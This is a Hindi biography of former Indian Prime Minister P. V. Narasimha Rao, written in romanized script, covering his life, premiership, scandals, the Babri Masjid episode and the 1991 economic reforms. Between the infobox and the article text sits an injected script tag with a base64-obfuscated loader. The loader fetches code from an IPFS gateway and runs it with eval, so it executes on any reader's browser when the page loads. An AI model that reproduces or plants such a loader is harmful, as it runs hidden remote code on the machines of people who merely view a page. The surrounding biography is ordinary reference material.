नरसिंह राव पी. वी.
narasianh rav pi. vi.
| |
| poora nam | parabamul parthi veankat narasimha rav |
| janm | 28 joon, 1921 |
| janm bhoomi | vaangara gram, karim nagar, aandhr pradesh |
| mrityu | 23 disambar, 2004 |
| mrityu sthan | dilli, bharat |
| abhibhavak | pita- pi. ranga |
| santan | tin putr v char putriyaan |
| nagarikata | bharatiy |
| parti | kaangres |
| kary kal | 21 joon, 1991 se 16 mee, 1996 |
| shiksha | vidhi sankay mean snatak tatha snatakottar |
| vidyalay | 'usmaniya vishvavidyalay' tatha nagapur aur mumbee vishvavidyalay |
| bhasha | hindi, aangrezi, telugu, marathi, spenish, fraansisi |
| puraskar-upadhi | bharat ratn, 2024 |
| vishesh yogadan | lekhan, telugu upanyas ka hindi tatha marathi ki kritiyoan ka telugu mean anuvad. |
| rachanaean | 'di iansaidar' |
| any janakari | aisa mana jata hai ki inhean rashtriy evan aantarrashtriy star ki 17 bhashaoan ka jnan tha tatha bhashaean sikhane ka junoon tha. vah spenish aur fraansisi bhashaean bhi bol v likh sakate the. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>pamulapati veankat narasianh rav (aangrezi: Pamulaparti Venkata Narasimha Rao, janm- 28 joon, 1921, mrityu- 23 disambar, 2004) bharat ke nauvean pradhanamantri ke roop mean jane jate haian. inake pradhanamantri banane mean bhagy ka bahut b da hath raha. 29 mee, 1991 ko rajiv gaandhi ki hatya ho gee thi. aise mean sahanubhooti ki lahar ke karan kaangres ko nishchay hi labh prapt hua. 1991 ke am chunav do charanoan mean hue. pratham charan ke chunav rajiv gaandhi ki hatya se poorv hue the aur dvitiy charan ke chunav unaki hatya ke bad. pratham charan ki tulana mean dvitiy charan ke chunavoan mean kaangres ka pradarshan behatar raha. isaka pramukh karan rajiv gaandhi ki hatya se upaji sahanubhooti ki lahar thi. is chunav mean kaangres ko spasht bahumat nahian prapt hua, lekin vah sabase b de dal ke roop mean ubhari. kaangres ne 232 sitoan par vijay prapt ki thi. phir narasimha rav ko kaangres sansadiy dal ka netritv pradan kiya gaya. aise mean unhoanne sarakar banane ka dava pesh kiya. sarakar alpamat mean thi, lekin kaangres ne bahumat sabit karane ke layaq saansad juta lie aur kaangres sarakar ne paanch varsh ka apana karyakal saphalatapoorvak poorn kiya. varsh 2024 mean bharat sarakar ne pi. vi. narasimha rav ko (maranoparaant) 'bharat ratn' se sammanit kiya.
janm evan parivar
pi. vi. narasimha rav ka janm 28 joon, 1921 ko aandhr pradesh ke vaangara gram karim nagar mean hua tha. rav ka poora nam parabamul parthi veankat narasimha rav tha. inhean poore nam se bahut kam log hi janate the. inake pita ka nam pi. ranga tha. narasimha rav ne usmaniya vishvavidyalay tatha nagapur aur mumbee vishvavidyalay mean shiksha prapt ki thi. unhoanne vidhi sankay mean snatak tatha snatakottar ki upadhiyaan prapt kian. inaki patni ka nidhan inake jivan kal mean hi ho gaya tha. vah tin putroan tatha char putriyoan ke pita bane the. pi. vi. narasimha rav vibhinn abhiruchiyoan vale iansan the. vah sangit, sinema aur thiyetar atyant pasand karate the. unako bharatiy sanskriti aur darshan mean kafi ruchi thi. inhean kalpanik lekhan bhi pasand tha. vah pray: rajanitik samikshaean bhi karate the. narasimha rav ek achchhe bhasha vidvani bhi the. unhoanne telugu aur hindi mean kavitaean bhi likhi thian. samagr roop se inhean sahity mean bhi kafi ruchi thi. unhoanne telugu upanyas ka hindi mean tatha marathi bhasha ki kritiyoan ka anuvad telugu mean kiya tha.
narasimha rav mean kee prakar ki pratibhaean thian. unhoanne chhadm nam se kee kritiyaan likhian. amerikan vishvavidyalay mean vyakhyan diya aur pashchimi jarmani mean rajaniti evan rajanitik sambandhoan ko sarahaniy dhang se udaghatit kiya. narasimha rav ne dvimasik patrika ka sampadan bhi kiya. manav adhikaroan se sambandhit is patrika ka nam 'kakatiya' tha. aisa mana jata hai ki inhean rashtriy evan aantarrashtriy star ki 17 bhashaoan ka jnan tha tatha bhashaean sikhane ka junoon tha. vah spenish aur fraansisi bhashaean bhi bol v likh sakate the.
rajanitik jivan
narasimha rav ne svadhinata sangram mean bhi bhag liya tha. azadi ke bad vah poorn roop se rajaniti mean a ge lekin unaki rajaniti ki dhuri us samay aandhr pradesh tak hi simit thi. narasimha rav ko rajy star par kafi khyati bhi mili. 1962 se 1971 tak vah aandhr pradesh ke mantrimandal mean bhi rahe. 1971 mean rav pradesh ki rajaniti mean kaddavar neta ban ge. vah 1971 se 1973 tak aandhr pradesh ke mukhyamantri bhi rahe.
pi. vi. narasimha rav ne sankat ke samay mean bhi iandira gaandhi ke prati vafadari nibhaee. 1969 mean jab kaangres ka vibhajan hua, to vah iandira gaandhi ke sath hi rahe. isase inhean labh prapt hua aur inaka rajanitik qad bhi badha. iandira gaandhi ne jab apatakal lagaya tab narasimha rav ki nishtha mean koee bhi kami nahian aee. iandira gaandhi ka jab parabhav hua tab bhi inhoanne pala badalane ka koee prayas nahian kiya. vah janate the ki parivartan sthayi nahian hai aur iandira gaandhi ka shasan pun: aega. unhoanne rashtriy star par grih mantralay, videsh mantralay tatha suraksha mantralay bhi dekha. narasimha rav ne iandira gaandhi aur rajiv gaandhi donoan ka karyakal dekha tha. donoan neta inaki vidvata aur yogyata ke karan hriday se inaka samman karate the.
pradhanamatri ke pad par
rajiv gaandhi ke nidhan ke bad kaangres mean yah baval macha ki sansadiy dal ke neta ke roop mean kise pradhanamantri ka pad pradan kiya jae. kafi logoan ke nam vicharaniy the. lekin jis nam par sahamati thi, vah narasimha rav ka tha. us samay unaka svasthy anukool nahian tha. is karan vah itani b di zimmedari uthane se bachana chahate the. parantu in par diggaj netaoan ka dabav tha. is karan anichchhuk hote hue bhi vah pradhanamantri banae ge. is prakar dakshin bharat ka pratham pradhanamantri desh ko prapt hua. sanyogavash pradhanamantri banane ke bad narasimha rav mean apekshit sudhar hota gaya. inake jivan mean bimari ke karan jo nishkriyata a gee thi, vah pradhanamantri ke kartavyabodh se samapt ho gee. yahi inake svasthy labh ka karan bhi tha. inhoanne apane jivan mean itana kuchh 1991 tak dekha tha ki asvasth rahane ke karan svayan inhean bhi apane lambe jivan ki asha nahian thi. lekin pradhanamantri ka pad inake lie pranavayu banakar aya. pad ke dayitvoan ko nibhate hue inake jivan ki dor bhi lambi ho gee.
pradhanamantri karyakal ke dauran
narasimha rav ke lie pradhanamantri ka pad pana to avashy sahaj raha lekin inako 5 varsh ke apane shasan kal mean kafi sangharsh karana p da. parantu rajaniti aur koyale ki khadan mean rahane vale vyakti par dag n lage, yah kabhi sambhav hi nahian tha. in par bhi bhrashtachar aur havala qarobar ke arop lage. inake viruddh harshad mehata ne yah dava kiya ki svayan par lage aropoan se mukt hone ke lie usane rav ko ek karo d rupayoan ki rishvat di thi. yah arop kafi samay tak charcha ka vishay bana raha. kaangres ne apane pradhanamantri narasimha rav par vishvas banae rakha aur harshad mehata ke aropoan ko nakar diya. yadyapi is mamale ko midiya ne khoob uchhala tha. tab kaangres ne yah tark diya tha ki jis prakar sootakes mean ek karo d rupaye bharakar dene ki bata harshad mehata ne kahi hai, usamean ek karo d rupaya a hi nahian sakata. is par harshad mehata ne sootakes ke ek karo d rupaye bharakar ti. vi. par dikhaya tha. lekin ek jalasaz vyakti par vishvas karane ka koee auchity nahian tha. harshad mehata ke viruddh is arop hetu karravaee nahian ki gee, isase logoan ko kafi ashchary hua.
saansad kharidane ka arop
jab bura samay ata hai to vah charoan taraf se ata hai. narasimha rav ke sath bhi yahi hua tha. rav sarakar ko bahumat sabit karane ke lie atirikt saansadoan ki avashyakata thi. jharakhand mukti morcha dal ke saansadoan ne rav sarakar ke paksh mean apana samarthan diya. tab narasimha rav par yah arop laga ki saansadoan ka samarthan hasil karane ke lie kharid-farokt ki gee hai. is par rav ke khilaf aparadhik prakaran darj kiya gaya. nichali adalat ne unhean saza bhi di lekin uchch nyayalay se narasimha rav ko rahat prapt ho gee. uparokt do bhrashtachar kaandoan ke atirikt 'seant kids' kaand ne bhi narasimha rav ki alokapriy kar diya. seant kids dvip ke baiank khate mean poorv pradhanamantri vishvanath pratap sianh ke bete ka khata hone ke sambandh mean khulasa kiya gaya tha. is vishay mean ek patr ka bhi havala tha. vi. pi. sianh ne rajiv gaandhi par bophors top kharid mamale mean ghoos ka jo arop lagaya tha, vah usake viruddh kaangres ka jabav tha. lekin bad mean pramanit hua ki jo patr midiya ne jari kiya tha, vah jali tha aur vi. pi. sianh ke putr ka koee bhi khata seant kids dvip ke baiank mean nahian tha. aisi sthiti mean yah mana gaya ki jali patr taiyar karane mean narasimha rav ki hi bhoomika thi. isake atirikt rav par nyayalay mean jhoothe dastavez banane ka abhiyog bhi chala. lekin narasimha rav is mamale mean bhi bugunah sabit ho ge. isake alava lakkhoo bhaee pathak kaand mean mudra ke her-fer ka arop bhi in par laga, parantu pramanit kuchh bhi nahian hua. at: ek kathin daura narasimha rav ko jhelana p da. sabase b di bat to yah rahi ki kaangres ekajut thi aur narasimha rav ke samarthan mean kh di thi.
babari masjid ayodhya
ayodhya mean babari masjid dhahae jane ke prakaran mean bhi pradhanamantri narasimha rav ki kafi alochana huee. tab un par yah arop laga ki babari masjid dhahae jane ko lekar unaki udasinata hi unaki mook sahamati thi aur vah apani hindutvavadi soch par qayam the. isase kaangres ki dharmanirapekshata ki chhavi bhi sandeh ke ghere mean a gee aur musalaman unase bidakakar samajavadi parti ki or akrisht hue. ayodhya ke vivadit dhaanche ko dhahae jane ke virodh mean desh bhar mean sampradayik dange bhi hue aur kee bam kaand bhi hue. inamean saik doan logoan ki maut ho gee. anek rajyoan ki araboan rupayoan ki sarvajanik sampatti ko bhi dangaeeyoan ne dhvast kar diya. desh ka sampradayik sauhard samapt hone ke kagar par pahuanch gaya. vastut: pradhanamantri pi. vi. narasimha rav ne babari masjid ki suraksha ke lie prabhavi qadam nahian uthae the. vah chahate to babari masjid ko bacha sakate the. is prakar unaki adooradarshita ke karan hi sarvajanik dange hue the. narasimha rav par yah bhi arop laga ki shrimati iandira gaandhi ki hatya ke bad desh mean pratihiansa ke svaroop jo dange bh dake the, unaki prabhavi rokatham nahian ki gee. is samay rav desh ke grihamantri the. inhean hindoo-sikh dangoan ko rokane ke lie k de se k de qadam uthane chahie the. dilli tin din tak pratihiansa ki agni mean jhulasati rahi. is karan bhi narasimha rav ki nishkriyata ki kafi alochana ki gee. yadi vah sakht qadam uthate to saik doan jivan bachae ja sakate the. grihamantri ke dayitv inhean har qimat par poorn karane chahie the.
nee arthik niti
parivartan hi shashvat hota hai, at: samay ke anusar parivartan hona chahie. sampoorn vishv ek svikary mandi ban gaya tha. is karan yah sambhav hi nahian tha ki bharat anudar arthik niti ke sath chipaka rahe. aisi sthiti mean pradhanamantri pi. vi. narasimha rav ne arthik sudharoan ka shriganesh kiya. bharatiy arthavyavastha ko vishv arthavyavastha ke anukool banane ke saragarbhit prayas kie. is samay vaishvikaran aur saral nijikaran ki dhoom machi huee thi. sarvajanik kshetroan ke un upakramoan ko rekhaankit kiya gaya jo tamam arthik upachar ke bad bhi ghata hi ugal rahe the. is samay narasimha rav ke vittamantri manamohan sianh the, jo ki ek bemisal arthashastri bhi haian. narasimha rav ne apane vitt mantri ke arthik sudhar karyakramoan par poornataya vishvas vyakt kiya. is karan ghate mean chalane vale kee sarakari udyogoan ke niji hathoan mean sauanpane ka faisala kiya gaya. isake atirikt khuli arthik vyavastha mean laiseansikaran ko samapt kiya gaya.
isake poorv niji udyami ko kisi bhi udyog ki sthapana hetu laiseans lena anivary tha. laiseans raj ke karan udyamiyoan ko kafi kathinaiyoan ka samana karana p data tha. isase unaka samay aur oorja donoan hi nasht hoti thi aur lalafita shahi ke doshoan ke karan bhrashtachar ko bhi badhava mil raha tha. arthik sudhar lagoo hone se udyamiyoan ke lie udyog sthapit karana asan ho gaya. is karan desh mean ne niveshak samane ae. desh ka utpadan badhane ke sath hi rozagar vikeandrit svaroop prakat hue. videshi niveshakoan ko bhi bharat mean udyam sthapit karane ki suvidha prapt ho gee. desh pragati ki rah par badha jisase bharatiy videshi mudra bhandar mean akalpaniy vriddhi huee. lekin aisa bhi nahian hai ki arthik sudhar karyakramoan ko sampoorn sarahana prapt huee ho. desh ki kee tred yooniyans ne nijikaran ka prabal virodh kiya. muddahin vipaksh unaki pith thoankane aur rav sarakar ki alochana karane mean pichhe nahian raha. vipaksh ka kahana tha ki rav sarakar ke dvara bharat ko pun: gulami ki or dhakela ja raha hai. jis prakar eest iandiya kampani ne vyapar ke nam par bharat mean ghusapaith karake desh ko gulam bana liya tha, usi prakar videshi niveshak bharatiy udyogoan par qabza kar leange. lekin is dushprachar se aprabhavit rahate hue pradhanamantri narasimha rav evan vittamantri manamohan sianh ne arthik sudhar karyakram jari rakhe. in ne arthik upayoan ke karan desh ki vikas dar mean apekshit sudhar hua. yah vikas dar 7 pratishat ho gee, jo ki poorv mean matr 1 pratishat ke asapas hi thi.
rupaye ka avamoolyan
bharatiy niryat mean vriddhi karane ke lie yah avashyak tha ki rupaye ka avamoolyan kiya jae. avamoolyan karane ke alava rav sarakar ne kharchoan ko bhi kam karane par zor diya. sarakari kharchoan mean kafi katauti ki gee. lekin yah sab asan nahian tha. rav sarakar ko viradhoan ka samana karana p da. bharat ke shaktishali audyogik gharanoan ko jab videshi nivesh ke karan apana ekadhikar dolata nazar aya to unhoanne bhi rav sarakar ki alochana karani arambh kar di. unhoanne virodh ke svaroop ek sanstha ka bhi gathan kiya. lekin vittamantri ke prayasoan ko narasimha rav ka samarthan jari raha. desh mean kee bahurashtriy kampaniyoan ka agaman hua. bharatiy kampaniyoan ko bhi sarakar ne chhoot pradan ki taki ve videsh mean qarobar karane ka sapana phalibhoot kar sakean. arthik sudhar karyakram anavarat chalata raha aur pratham tin varshoan tak desh arthik pragati ke path par aroodh bhi raha. lekin bad ke kuchh varshoan mean kathinaiyaan aeean aur ise baraqarar nahian rakha ja saka. kee rajyoan mean kaangres ki sarakar jati rahi. babari masjid vidhvans ke karan bhi arthik nuqasan hue. rajyoan mean huee har ka karan vishleshakoan ne arthik niti bataee. kuchh kaangresi neta is ray se sahamat nahian nazar ae aur kuchh ne isaka virodh bhi kiya. lekin narasimha rav janate the ki arthik sudharoan ke karan hi desh badahal arthik sankat se ubar saka hai. isake poorv bharat arthik roop se kangal ho chuka tha aur vishv ki arthavyavastha mean usaka koee sthan nahian rahata. narasimha rav ne apane vittamantri manamohan sianh ki dhal banakar unaka bachav kiya. unake manobal ko ooancha rakha aur tamam virodhoan ke bavajood manamohan sianh ki arthik niti par vishvas banae rakha.
kaangres ki parajay
vi. pi. narasimha rav ki arthik saphalataean bhula di geean. 1996 ke am chunav mean kaangres ko parajay ka samana karana p da. sansad mean unake pas itane saansad nahian the ki vah sarakar banane ka dava pesh kar sakean. in chunavoan mean bharatiy janata parti hi sabase b di parti ke roop mean ubharakar samane aee. is karan rashtrapati d aauktar shankar dayal sharma ne bhajapa ko sarakar banane aur bahumat siddh karane ka nyota diya. lekin yah usi samay tay ho chuka tha ki bhajapa avashyak bahumat pesh nahian kar sakegi. atal bihari vajapeyi pradhanamantri bane, lekin 13 din ke bad hi sarakar gir gee. is chunav mean vibhinn karanoan se kaangres ki parajay ka zimmedar narasimha rav ko hi mana gaya aur parti mean unaki sthiti dinoan-din kamazor hone lagi. antat: jab soniya gaandhi ka sakriy rajaniti mean pravesh hua to parti sangathan unhian ke eed-gird mandarata nazar ane laga.
vibhinn upalabdhiyaan
sanh 1996 mean pradhanamantri ke pad se hatane ke bad se hi pi. vi. narasimha rav ka hashiy par jana arambh ho gaya tatha kaangres sangathan ne inhean vismrit kar diya tathapi vah nimnavath upalabdhiyoan ke lie sadaiv jane jaeange-
- pi. vi. narasimha rav pratham dakshin bharatiy pradhanamantri bane aur unhoanne apana karyakal sampoorn kiya.
- narasimha rav par hindutvavadi shaktiyoan ka prashray dene ka arop bhi laga.
- rav par bhrashtachar ke bhi kee arop lage, lekin nyayalay mean inhean antim roop se sabit nahian kiya ja saka.
- ab tak neharoo-gaandhi parivar ke sadasy hi pradhanamantri ke taur par apana karyakal poora karate rahe. lekin narasimha rav ne is parampara ko to date hue poore paanch varsh ka samay pradhanamantri ke roop mean guzara.
- babari masjid prakaran ke bad narasimha rav ne muslimoan ko sambodhit karate samay urdoo bhasha ka prayog kiya. lekin avashyakata p dane par hindoo matavalambiyoan ke samaksh unhoanne sanskritanishth shlokoan dvara apani bat kahi.
- narasimha rav ki rajanitik dakshata ke karan aandhr pradesh mean telugu desham parti aur janata parti ki sthiti kamazor tatha kaangres ki sthiti mazaboot huee.
- jab rajanitik vyakti apani parti mean upekshit hota hai to vah samanyat: doosari parti se ju d jata hai. lekin rav ne mrityu paryant kaangres ko hi apana pratham aur antim ghar mana. yah kisi bhi vyakti ki charitrik mahanata hi kahi jani chahie ki vah apani parti ke sath mean vafadari barate.
lekhan kary
rajanitik sannyas ka jivan jite hue bhi pi. vi. narasimha rav ne sarthak jivan guzara. is samay ka upayog unhoanne lekhan aur anuvad karyoan mean kiya. unhoanne telugu bhasha ke vishvanath satyanarayan jaise mahanh sahityakar ke upanyas 'sahastr phan' ka hindi mean anuvad bhi kiya. jivan ke antim daur mean rav ne ek rajanitik upanyas 'di iansaidar' likha. sath hi sath ram mandir aur masjid prakaran par inaki ek pustak prakashit huee, jisamean inhoanne tathyatmak evan vishleshanatmak sthitiyoan ka chitran karate hue apani bhoomika ko spasht kiya tha.
nidhan
narasimha rav ka svasthy 2004 ke asapas kharab rahane laga tha. unhean 9 disambar ko ems mean dakhil karaya gaya. inhean saans lene mean kathinaee ho rahi thi. antat: 83 varsh poore karane ke bad 23 disambar, 2004 ki dopahar 2:40 par apana sharir tyag diya. antim samay mean unake bete prabhakar rav unake pas upasthit the. is prakar desh ke nauvean pradhanamantri ke roop mean pi. vi. narasimha rav ne apana jivan saphar poorn kiya. lekin arthik sudharoan ke lie inhean sadaiv yad rakha jaega. vibhinn bhashaoan ka jnan rakhane vale vidvanh ke roop mean bhi yah deshavasiyoan ki smriti mean sada bane raheange.
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tika tippani aur sandarbh
sanbandhit lekh
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